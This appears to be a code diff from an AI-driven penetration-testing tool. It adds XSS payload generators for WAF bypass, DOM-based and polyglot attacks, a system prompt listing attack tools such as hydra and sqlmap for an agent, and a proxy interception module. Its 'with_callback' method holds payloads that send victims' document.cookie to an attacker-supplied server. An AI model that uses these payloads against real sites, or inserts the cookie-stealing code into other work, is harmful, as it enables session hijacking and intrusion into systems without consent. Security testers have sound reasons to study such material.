@classmethod
|
|
94
|
+
def filter_bypass(cls) -> Iterator[str]:
|
|
95
|
+
"""Filter/WAF bypass payloads"""
|
|
96
|
+
payloads = [
|
|
97
|
+
# Case variations
|
|
98
|
+
f'<ScRiPt>alert("{cls._marker}")</ScRiPt>',
|
|
99
|
+
f'<SCRIPT>alert("{cls._marker}")</SCRIPT>',
|
|
100
|
+
|
|
101
|
+
# Null bytes
|
|
102
|
+
f'<scr\x00ipt>alert("{cls._marker}")</script>',
|
|
103
|
+
|
|
104
|
+
# Space variations
|
|
105
|
+
f'<script\t>alert("{cls._marker}")</script>',
|
|
106
|
+
f'<script\n>alert("{cls._marker}")</script>',
|
|
107
|
+
f'<script\r>alert("{cls._marker}")</script>',
|
|
108
|
+
|
|
109
|
+
# Tag manipulation
|
|
110
|
+
f'<scr<script>ipt>alert("{cls._marker}")</scr</script>ipt>',
|
|
111
|
+
f'<<script>script>alert("{cls._marker}")<</script>/script>',
|
|
112
|
+
|
|
113
|
+
# Using different tags
|
|
114
|
+
f'<svg/onload=alert("{cls._marker}")>',
|
|
115
|
+
f'<svg\tonload=alert("{cls._marker}")>',
|
|
116
|
+
f'<img src=`x`onerror=alert("{cls._marker}")>',
|
|
117
|
+
f'<img src="x" onerror="alert(\'{cls._marker}\')">',
|
|
118
|
+
|
|
119
|
+
# JavaScript protocol
|
|
120
|
+
f'javascript:alert("{cls._marker}")',
|
|
121
|
+
f'java\nscript:alert("{cls._marker}")',
|
|
122
|
+
f'java\tscript:alert("{cls._marker}")',
|
|
123
|
+
|
|
124
|
+
# Data URI
|
|
125
|
+
f'data:text/html,<script>alert("{cls._marker}")</script>',
|
|
126
|
+
f'data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=',
|
|
127
|
+
|
|
128
|
+
# Expression (IE)
|
|
129
|
+
f'<div style="x:expression(alert(\'{cls._marker}\'))">',
|
|
130
|
+
|
|
131
|
+
# SVG
|
|
132
|
+
f'<svg><script>alert("{cls._marker}")</script></svg>',
|
|
133
|
+
f'<svg><animate onbegin=alert("{cls._marker}")>',
|
|
134
|
+
|
|
135
|
+
# Without quotes
|
|
136
|
+
f'<img src=x onerror=alert({cls._marker})>',
|
|
137
|
+
|
|
138
|
+
# Without parentheses
|
|
139
|
+
f'<img src=x onerror=alert`{cls._marker}`>',
|
|
140
|
+
f'<script>alert`{cls._marker}`</script>',
|
|
141
|
+
|
|
142
|
+
# Using eval
|
|
143
|
+
f'<img src=x onerror=eval(atob("YWxlcnQoJ1hTUycp"))>',
|
|
144
|
+
]
|
|
145
|
+
yield from payloads
|
|
146
|
+
|
|
147
|
+
@classmethod
|
|
148
|
+
def dom_based(cls) -> Iterator[str]:
|
|
149
|
+
"""DOM-based XSS payloads"""
|
|
150
|
+
payloads = [
|
|
151
|
+
# document.write
|
|
152
|
+
f'<script>document.write("<img src=x onerror=alert(\'{cls._marker}\')>")</script>',
|
|
153
|
+
|
|
154
|
+
# innerHTML
|
|
155
|
+
f'<div id="test"></div><script>document.getElementById("test").innerHTML="<img src=x onerror=alert(\'{cls._marker}\')>"</script>',
|
|
156
|
+
|
|
157
|
+
# location manipulation
|
|
158
|
+
f'#<script>alert("{cls._marker}")</script>',
|
|
159
|
+
f'javascript:alert("{cls._marker}")//',
|
|
160
|
+
|
|
161
|
+
# eval-based
|
|
162
|
+
f'<script>eval("ale"+"rt(\'{cls._marker}\')")</script>',
|
|
163
|
+
f'<script>setTimeout("alert(\'{cls._marker}\')",0)</script>',
|
|
164
|
+
f'<script>setInterval("alert(\'{cls._marker}\')",1000)</script>',
|
|
165
|
+
]
|
|
166
|
+
yield from payloads
|
|
167
|
+
|
|
168
|
+
@classmethod
|
|
169
|
+
def with_callback(cls, callback_url: str) -> Iterator[str]:
|
|
170
|
+
"""Payloads that call back to attacker server"""
|
|
171
|
+
payloads = [
|
|
172
|
+
f'<script>new Image().src="{callback_url}?c="+document.cookie</script>',
|
|
173
|
+
f'<img src="{callback_url}?c="+document.cookie>',
|
|
174
|
+
f'<script>fetch("{callback_url}?c="+document.cookie)</script>',
|
|
175
|
+
f'<script>navigator.sendBeacon("{callback_url}",document.cookie)</script>',
|
|
176
|
+
]
|
|
177
|
+
yield from payloads
|
|
178
|
+
|
|
179
|
+
@classmethod
|
|
180
|
+
def polyglot(cls) -> Iterator[str]:
|
|
181
|
+
"""Polyglot payloads that work in multiple contexts"""
|
|
182
|
+
payloads = [
|
|
183
|
+
f'javascript:/*--></title></style></textarea></script></xmp><svg/onload=\'+/"/+/onmouseover=1/+/[*/[]/+alert("{cls._marker}")//\'>',
|
|
184
|
+
f'--></script><script>alert("{cls._marker}")</script>',
|
|
185
|
+
f'"-alert("{cls._marker}")-"',
|
|
186
|
+
f'\'-alert("{cls._marker}")-\'',
|
|
187
|
+
f'</script><script>alert("{cls._marker}")</script>',
|
|
188
|
+
]
|
|
189
|
+
yield from payloads
|
|
190
|
+
|
|
191
|
+
@classmethod
|
|
192
|
+
def all(cls) -> Iterator[str]:
|
|
193
|
+
"""All XSS payloads"""
|
|
194
|
+
yield from cls.basic()
|
|
195
|
+
yield from cls.event_handlers()
|
|
196
|
+
yield from cls.encoded()
|
|
197
|
+
yield from cls.filter_bypass()
|
|
198
|
+
yield from cls.dom_based()
|
|
199
|
+
yield from cls.polyglot()
|
|
200
|
+
|
|
201
|
+
@classmethod
|
|
202
|
+
def get_marker(cls) -> str:
|
|
203
|
+
"""Get current unique marker"""
|
|
204
|
+
return cls._marker
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Prompts Module - System prompts and prompt templates
|
|
3
|
+
"""
|
|
4
|
+
|
|
5
|
+
from typing import Any
|
|
6
|
+
from jinja2 import Environment
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def load_prompt_modules(module_names: list[str], jinja_env: Environment) -> dict[str, str]:
|
|
10
|
+
"""
|
|
11
|
+
Load prompt modules by name.
|
|
12
|
+
|
|
13
|
+
Args:
|
|
14
|
+
module_names: List of module names to load
|
|
15
|
+
jinja_env: Jinja2 environment for template rendering
|
|
16
|
+
|
|
17
|
+
Returns:
|
|
18
|
+
Dictionary mapping module names to their content
|
|
19
|
+
"""
|
|
20
|
+
modules = {}
|
|
21
|
+
for name in module_names:
|
|
22
|
+
try:
|
|
23
|
+
template = jinja_env.get_template(f"{name}.jinja")
|
|
24
|
+
modules[name] = template.render()
|
|
25
|
+
except Exception:
|
|
26
|
+
modules[name] = ""
|
|
27
|
+
return modules
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def get_tools_prompt() -> str:
|
|
31
|
+
"""Get the tools prompt for the agent."""
|
|
32
|
+
return """
|
|
33
|
+
You have access to the following security tools:
|
|
34
|
+
|
|
35
|
+
## Terminal Tools
|
|
36
|
+
- execute_command: Run shell commands in isolated Docker sandbox
|
|
37
|
+
- terminal_session: Manage persistent terminal sessions
|
|
38
|
+
|
|
39
|
+
## Browser Tools
|
|
40
|
+
- browser_navigate: Navigate to URLs
|
|
41
|
+
- browser_click: Click elements
|
|
42
|
+
- browser_type: Type text into inputs
|
|
43
|
+
- browser_screenshot: Take screenshots
|
|
44
|
+
|
|
45
|
+
## Proxy Tools
|
|
46
|
+
- proxy_intercept: Intercept HTTP traffic
|
|
47
|
+
- proxy_modify: Modify requests/responses
|
|
48
|
+
|
|
49
|
+
## Security Tools
|
|
50
|
+
- nmap: Port scanning and service detection
|
|
51
|
+
- gobuster: Directory brute-forcing
|
|
52
|
+
- nuclei: Vulnerability scanning
|
|
53
|
+
- hydra: Credential brute-forcing
|
|
54
|
+
- sqlmap: SQL injection testing
|
|
55
|
+
|
|
56
|
+
Use these tools to accomplish your penetration testing objectives.
|
|
57
|
+
"""
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
__all__ = ["load_prompt_modules", "get_tools_prompt"]
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Proxy Module
|
|
3
|
+
|
|
4
|
+
HTTP/HTTPS traffic interception and manipulation:
|
|
5
|
+
- Request/response capture
|
|
6
|
+
- Traffic modification
|
|
7
|
+
- WebSocket support
|
|
8
|
+
- Integration with mitmproxy
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
from .interceptor import (
|
|
12
|
+
ProxyInterceptor,
|
|
13
|
+
ProxyConfig,
|
|
14
|
+
InterceptedRequest,
|
|
15
|
+
InterceptedResponse,
|
|
16
|
+
)
|
|
17
|
+
from .history import (
|
|
18
|
+
ProxyHistory,
|
|
19
|
+
HistoryEntry,
|
|
20
|
+
)
|
|
21
|
+
|
|
22
|
+
__all__ = [
|
|
23
|
+
"ProxyInterceptor",
|
|
24
|
+
"ProxyConfig",
|
|
25
|
+
"InterceptedRequest",
|
|
26
|
+
"InterceptedResponse",
|
|
27
|
+
"ProxyHistory",
|
|
28
|
+
"HistoryEntry",
|
|
29
|
+
]
|